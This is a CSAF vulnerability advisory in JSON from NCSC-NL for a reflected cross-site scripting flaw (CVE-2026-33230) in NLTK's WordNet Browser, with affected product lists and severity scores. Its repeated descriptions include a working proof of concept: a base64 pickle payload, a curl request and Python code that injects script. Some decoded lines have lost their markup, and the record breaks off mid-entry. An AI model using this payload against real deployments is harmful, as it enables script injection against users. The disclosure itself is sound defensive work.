{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33230", "tracking": { "current_release_date": "2026-03-29T16:14:29.518298Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33230", "initial_release_date": "2026-03-18T20:44:16.134325Z", "revision_history": [ { "date": "2026-03-18T20:44:16.134325Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-18T20:44:31.035337Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-19T11:39:53.340654Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-20T23:25:46.625587Z", "number": "4", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-20T23:25:52.673900Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-03-20T23:38:56.863969Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-20T23:38:59.515140Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-21T12:44:15.956323Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (2)." }, { "date": "2026-03-21T12:44:18.910018Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-03-21T15:23:06.528682Z", "number": "10", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-21T15:23:09.489788Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-23T12:30:12.325288Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (29).| Product Identifiers created (4).| Product Remediations created (29).| References created (5).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-03-23T12:30:30.927766Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-24T13:49:29.638176Z", "number": "14", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-24T13:49:32.906603Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-03-24T20:44:38.379069Z", "number": "16", "summary": "Unknown change." }, { "date": "2026-03-24T20:44:42.051447Z", "number": "17", "summary": "NCSC Score updated." }, { "date": "2026-03-25T18:42:04.598828Z", "number": "18", "summary": "References created (2)." }, { "date": "2026-03-25T18:42:07.180739Z", "number": "19", "summary": "NCSC Score updated." }, { "date": "2026-03-26T00:37:25.688869Z", "number": "20", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (63).| Product Identifiers created (64).| Products created (2).| References created (4).| CWES updated (1)." }, { "date": "2026-03-27T12:06:49.262620Z", "number": "21", "summary": "Source created.| CVE status created. (valid)| Products connected (1).| References created (4)." }, { "date": "2026-03-27T12:06:59.550292Z", "number": "22", "summary": "NCSC Score updated." }, { "date": "2026-03-29T03:16:21.219501Z", "number": "23", "summary": "References removed (2)." }, { "date": "2026-03-29T16:14:28.526750Z", "number": "24", "summary": "References created (2)." } ], "status": "interim", "version": "24" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<11.6.0", "product": { "name": "vers:unknown/<11.6.0", "product_id": "CSAFPID-1189281" } } ], "category": "product_name", "name": "App Connect Enterprise" } ], "category": "vendor", "name": "IBM" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5474797", "product_identification_helper": { "cpe": "cpe:/a:redhat:lightspeed_core" } } } ], "category": "product_name", "name": "Lightspeed Core" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2524222", "product_identification_helper": { "cpe": "cpe:/a:redhat:openshift_lightspeed" } } } ], "category": "product_name", "name": "OpenShift Lightspeed" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/2", "product": { "name": "vers:rpm/2", "product_id": "CSAFPID-1508257", "product_identification_helper": { "cpe": "cpe:/a:redhat:ansible_automation_platform:2" } } } ], "category": "product_name", "name": "Red Hat Ansible Automation Platform 2" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1439279", "product_identification_helper": { "cpe": "cpe:/a:redhat:openshift_ai" } } } ], "category": "product_name", "name": "Red Hat OpenShift AI (RHOAI)" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2920384" } } ], "category": "product_name", "name": "aap-cloud-metrics-collector-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1508263" } } ], "category": "product_name", "name": "ansible-dev-tools-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5008757" } } ], "category": "product_name", "name": "ansible-dev-tools-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-3054652" } } ], "category": "product_name", "name": "ansible-devspaces-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { 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"product": { "name": "vers:unknown/0.9.6", "product_id": "CSAFPID-3249749", "product_identification_helper": { "purl": "pkg:pypi/nltk@0.9.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.7", "product": { "name": "vers:unknown/0.9.7", "product_id": "CSAFPID-3249750", "product_identification_helper": { "purl": "pkg:pypi/nltk@0.9.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.8", "product": { "name": "vers:unknown/0.9.8", "product_id": "CSAFPID-3249751", "product_identification_helper": { "purl": "pkg:pypi/nltk@0.9.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.9", "product": { "name": "vers:unknown/0.9.9", "product_id": "CSAFPID-3249752", "product_identification_helper": { "purl": "pkg:pypi/nltk@0.9.9" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1", "product": { "name": "vers:unknown/2.0.1", "product_id": "CSAFPID-477849", "product_identification_helper": { "purl": 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"vers:unknown/2.0b9", "product_id": "CSAFPID-3249764", "product_identification_helper": { "purl": "pkg:pypi/nltk@2.0b9" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0", "product": { "name": "vers:unknown/3.0.0", "product_id": "CSAFPID-477852", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0b1", "product": { "name": "vers:unknown/3.0.0b1", "product_id": "CSAFPID-3249765", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.0.0b1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0b2", "product": { "name": "vers:unknown/3.0.0b2", "product_id": "CSAFPID-3249766", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.0.0b2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.1", "product": { "name": "vers:unknown/3.0.1", "product_id": "CSAFPID-477846", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.2", "product": { "name": "vers:unknown/3.0.2", "product_id": "CSAFPID-477861", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.0.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.3", "product": { "name": "vers:unknown/3.0.3", "product_id": "CSAFPID-477847", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.0.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.4", "product": { "name": "vers:unknown/3.0.4", "product_id": "CSAFPID-477853", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.0.4" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.5", "product": { "name": "vers:unknown/3.0.5", "product_id": "CSAFPID-477864", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.0.5" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1", "product": { "name": "vers:unknown/3.1", "product_id": "CSAFPID-477854", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2", "product": { "name": "vers:unknown/3.2", "product_id": "CSAFPID-477859", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.1", "product": { "name": "vers:unknown/3.2.1", "product_id": "CSAFPID-477850", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.2", "product": { "name": "vers:unknown/3.2.2", "product_id": "CSAFPID-477862", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.3", "product": { "name": "vers:unknown/3.2.3", "product_id": "CSAFPID-477855", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.4", "product": { "name": "vers:unknown/3.2.4", "product_id": "CSAFPID-477858", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.2.4" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.5", "product": { "name": "vers:unknown/3.2.5", "product_id": "CSAFPID-477856", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.2.5" } } }, { "category": "product_version_range", "name": "vers:unknown/3.3", "product": { "name": "vers:unknown/3.3", "product_id": "CSAFPID-477848", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.4", "product": { "name": "vers:unknown/3.4", "product_id": "CSAFPID-477860", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.4" } } }, { "category": "product_version_range", "name": "vers:unknown/3.4.1", "product": { "name": "vers:unknown/3.4.1", "product_id": "CSAFPID-477866", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.4.2", "product": { "name": "vers:unknown/3.4.2", "product_id": "CSAFPID-3249767", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.4.3", "product": { "name": "vers:unknown/3.4.3", "product_id": "CSAFPID-477863", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.4.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.4.4", "product": { "name": "vers:unknown/3.4.4", "product_id": "CSAFPID-477851", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.4.4" } } }, { "category": "product_version_range", "name": "vers:unknown/3.4.5", "product": { "name": "vers:unknown/3.4.5", "product_id": "CSAFPID-710861", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.4.5" } } }, { "category": "product_version_range", "name": "vers:unknown/3.5", "product": { "name": "vers:unknown/3.5", "product_id": "CSAFPID-710860", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.5" } } }, { "category": "product_version_range", "name": "vers:unknown/3.5b1", "product": { "name": "vers:unknown/3.5b1", "product_id": "CSAFPID-3249768", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.5b1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6", "product": { "name": "vers:unknown/3.6", "product_id": "CSAFPID-710863", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.6" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.1", "product": { "name": "vers:unknown/3.6.1", "product_id": "CSAFPID-710862", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.2", "product": { "name": "vers:unknown/3.6.2", "product_id": "CSAFPID-710864", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.6.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.3", "product": { "name": "vers:unknown/3.6.3", "product_id": "CSAFPID-710859", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.6.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.4", "product": { "name": "vers:unknown/3.6.4", "product_id": "CSAFPID-712017", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.6.4" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.5", "product": { "name": "vers:unknown/3.6.5", "product_id": "CSAFPID-712018", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.6.5" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.6", "product": { "name": "vers:unknown/3.6.6", "product_id": "CSAFPID-3249769", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.6.6" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.7", "product": { "name": "vers:unknown/3.6.7", "product_id": "CSAFPID-3249770", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.6.7" } } }, { "category": "product_version_range", "name": "vers:unknown/3.7", "product": { "name": "vers:unknown/3.7", "product_id": "CSAFPID-3249771", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.7" } } }, { "category": "product_version_range", "name": "vers:unknown/3.8", "product": { "name": "vers:unknown/3.8", "product_id": "CSAFPID-3249772", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.8" } } }, { "category": "product_version_range", "name": "vers:unknown/3.8.1", "product": { "name": "vers:unknown/3.8.1", "product_id": "CSAFPID-337467", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.9", "product": { "name": "vers:unknown/3.9", "product_id": "CSAFPID-5667818", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.9" } } }, { "category": "product_version_range", "name": "vers:unknown/3.9.1", "product": { "name": "vers:unknown/3.9.1", "product_id": "CSAFPID-5667819", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.9.2", "product": { "name": "vers:unknown/3.9.2", "product_id": "CSAFPID-5667820", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.9.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.9.3", "product": { "name": "vers:unknown/3.9.3", "product_id": "CSAFPID-5912812", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.9.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.9b1", "product": { "name": "vers:unknown/3.9b1", "product_id": "CSAFPID-3249773", "product_identification_helper": { "purl": "pkg:pypi/nltk@3.9b1" } } }, { "category": "product_version_range", "name": "vers:unknown/<=3.9.3", "product": { "name": "vers:unknown/<=3.9.3", "product_id": "CSAFPID-5878160", "product_identification_helper": { "cpe": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<3.9.4", "product": { "name": "vers:unknown/>=0|<3.9.4", "product_id": "CSAFPID-5912813" } } ], "category": "product_name", "name": "nltk" } ], "category": "vendor", "name": "nltk" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33230", "cwe": { "id": "CWE-79", "name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')" }, "notes": [ { "category": "description", "text": "### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n - Requests starting with `lookup_` are handled as HTML responses:\n - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n - If no results are found, `word` is inserted directly into the HTML body:\n - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n nltk-sandbox \\\n python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '' were not found in the dictionary.\n```\n\"127\"\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n pickle.dumps((\"\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"\" in page)\n```\n\nObserved output:\n\n```text\nWORD= \nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.", "title": "github - https://github.com/advisories/GHSA-gfwx-w7gr-fvh7" }, { "category": "description", "text": "### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n - Requests starting with `lookup_` are handled as HTML responses:\n - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n - If no results are found, `word` is inserted directly into the HTML body:\n - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n nltk-sandbox \\\n python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '' were not found in the dictionary.\n```\n\"127\"\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n pickle.dumps((\"\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"\" in page)\n```\n\nObserved output:\n\n```text\nWORD= \nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.", "title": "github - https://api.github.com/advisories/GHSA-gfwx-w7gr-fvh7" }, { "category": "description", "text": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33230" }, { "category": "description", "text": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33230.json" }, { "category": "description", "text": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.", "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-33230" }, { "category": "description", "text": "A flaw was found in NLTK (Natural Language Toolkit), a suite of open source Python modules for Natural Language Processing. The `nltk.app.wordnet_app` component contains a reflected cross-site scripting (XSS) vulnerability. A remote attacker can exploit this by crafting a malicious URL that injects arbitrary HTML or JavaScript code into the response page. This can lead to script execution in the browser for users running the local WordNet Browser server.\nMODERATE: This reflected cross-site scripting flaw in NLTK's WordNet Browser application allows for arbitrary script execution. Exploitation requires a user to be running the local WordNet Browser server and then accessing a specially crafted URL. This vulnerability affects Red Hat products that include the NLTK component and utilize the WordNet Browser functionality.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33230.json" }, { "category": "description", "text": "### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n - Requests starting with `lookup_` are handled as HTML responses:\n - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n - If no results are found, `word` is inserted directly into the HTML body:\n - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n nltk-sandbox \\\n python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '' were not found in the dictionary.\n```\n\"127\"\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n pickle.dumps((\"\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"\" in page)\n```\n\nObserved output:\n\n```text\nWORD= \nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-gfwx-w7gr-fvh7.json?alt=media" }, { "category": "other", "text": "0.00033", "title": "EPSS" }, { "category": "other", "text": "4.7", "title": "NCSC Score" }, { "category": "other", "text": "There is product data available from source Certbundde", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "There is exploit data available from source Nvd, The value of the most recent EPSS score", "title": "NCSC Score top decreasing factors" }, { 